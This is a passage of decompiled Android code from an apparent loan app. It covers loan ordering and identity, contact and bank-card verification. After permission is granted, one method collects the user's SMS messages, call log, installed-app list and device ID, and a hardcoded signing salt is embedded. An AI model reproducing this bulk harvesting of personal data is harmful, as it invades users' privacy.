W0ACT.this.showShortToast(baseResult.getMessage());
}
}
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
}));
}
public void lambda$onPermissionSuccess$0$W0ACT$18(Subscriber subscriber) {
DevSmsBean devSmsBean = new DevSmsBean();
List smsInPhone = ContactsGetUtil.getSmsInPhone(W0ACT.this.mContext);
devSmsBean.setSmsList(smsInPhone);
List scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(W0ACT.this.mContext.getPackageManager());
devSmsBean.setSmsList(smsInPhone);
devSmsBean.setAppList(scanLocalInstallAppList);
devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(W0ACT.this.mContext));
String deviceID = ApplicationUtil.getDeviceID(W0ACT.this.mContext);
String phoneModel = ApplicationUtil.phoneModel();
devSmsBean.setCode(deviceID);
devSmsBean.setSys(Constant.SDK_OS);
devSmsBean.setModel(phoneModel);
devSmsBean.setAddress((String) SPUtils.getData("address", "中国"));
subscriber.onNext(devSmsBean);
subscriber.onCompleted();
}
}
protected void borrowOrder() {
int parseInt = Integer.parseInt(this.loanPeriod);
String aPPVersion = ApplicationUtil.getAPPVersion(this.mContext);
String json = new Gson().toJson(new BorrowOrderForm(this.repEnfLoanFlag + "", this.enfLoanFlag + "", this.bankName_apply, Integer.valueOf(parseInt), this.amount_apply, this.bankNum_apply, (String) SPUtils.getData("address", "中国"), (String) SPUtils.getData("longitude", "0.0"), (String) SPUtils.getData("latitude", "0.0"), aPPVersion, Constant.SDK_OS));
long currentTimeMillis = System.currentTimeMillis();
String uuid = UUID.randomUUID().toString();
String str = json + "@" + uuid + "@" + currentTimeMillis;
String encrypt = RSAUtils.getInstance().encrypt(str + "@" + MD5Utils.md5(str, "f4qgkb85q4pMRMChLeC7uSn2wwTWGXrs"));
StringBuilder sb = new StringBuilder();
sb.append(currentTimeMillis);
sb.append("");
this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe(new RxSubscriber<RegBean>(this.mContext, true) {
public void _onNext(RegBean regBean) {
if (regBean != null) {
String record = regBean.getRecord();
Bundle bundle = new Bundle();
bundle.putString("ORDERID", record);
bundle.putInt(AppConfig.EnfLoanFlag, W0ACT.this.enfLoanFlag.intValue());
bundle.putInt("REEnfLoanFlag", W0ACT.this.repEnfLoanFlag.intValue());
W0ACT.this.startActivity(N0ACT.class, bundle);
return;
}
W0ACT w0act = W0ACT.this;
w0act.showShortToast(w0act.getResources().getString(2131690105));
}
protected void _onError(String str2) {
if (str2 != null && str2.contains(W0ACT.this.getResources().getString(2131689544))) {
W0ACT.this.showLongToast(str2);
return;
}
Bundle bundle = new Bundle();
bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str2);
bundle.putInt(AppConfig.EnfLoanFlag, 1);
bundle.putInt("REEnfLoanFlag", W0ACT.this.repEnfLoanFlag.intValue());
W0ACT.this.startActivity(N0ACT.class, bundle);
}
}));
}
protected void apply() {
this.mRxManager.add(Api.getDefault().apply(30).compose(RxHelper.handleResult()).subscribe(new RxSubscriber<ApplyBean>(this.mContext, true) {
public void _onNext(ApplyBean applyBean) {
if (applyBean != null) {
List amountList = applyBean.getAmountList();
if (amountList != null && amountList.size() > 0) {
W0ACT.this.amount_apply = amountList.get(0) + "";
}
W0ACT.this.bankName_apply = applyBean.getBankName();
W0ACT.this.bankNum_apply = applyBean.getBankNum();
W0ACT.this.loanPeriod = applyBean.getLoanPeriod();
W0ACT.this.order();
}
}
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
public void showToast(final String str) {
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
Toast.makeText((Context) W0ACT.this, (CharSequence) str, 0).show();
}
});
}
protected void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
if (i2 == -1 && i == 800) {
String stringExtra = intent.getStringExtra("crawlerId");
Log.e("TAG", intent.getStringExtra("crawlerId"));
applySdkOrder(stringExtra);
}
if (i == 1003 && i2 == 1003) {
this.idNum = intent.getStringExtra("idCard");
this.realName = intent.getStringExtra("realName");
this.authRealNameStatus = 1;
setIdCard();
}
if (i == 1002 && i2 == 1002) {
ContactForm serializableExtra = intent.getSerializableExtra("contact");
this.o = serializableExtra;
List<ContactForm.ListBean> list = serializableExtra.getList();
this.authContactsStatus = 1;
setLxr(list);
}
if (i == 1000 && i2 == 1000) {
BindBankForm serializableExtra2 = intent.getSerializableExtra("bindBankForm");
String stringExtra2 = intent.getStringExtra("imgUrl");
String bankCard = serializableExtra2.getBankCard();
String bankName = serializableExtra2.getBankName();
this.authBankCardStatus = 1;
setBankInfo(stringExtra2, bankCard, bankName);
}
if (i == 1001 && i2 == 1001) {
BaseInfoForm serializableExtra3 = intent.getSerializableExtra("baseInfo");
this.baseInfoForm = serializableExtra3;
String address = serializableExtra3.getAddress();
String cityId = this.baseInfoForm.getCityId();
String companyAddress = this.baseInfoForm.getCompanyAddress();
String companyCityId = this.baseInfoForm.getCompanyCityId();
String companyDistrictId = this.baseInfoForm.getCompanyDistrictId();
String companyName = this.baseInfoForm.getCompanyName();
String companyProvinceId = this.baseInfoForm.getCompanyProvinceId();
String companyTel = this.baseInfoForm.getCompanyTel();
String districtId = this.baseInfoForm.getDistrictId();
String provinceId = this.baseInfoForm.getProvinceId();
this.authBaseInfoStatus = 1;
setBaseInfo(address, companyAddress, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, provinceId, cityId, districtId);
}
Log.i(TAG, "onActivityResultresultCode " + i2);
}
}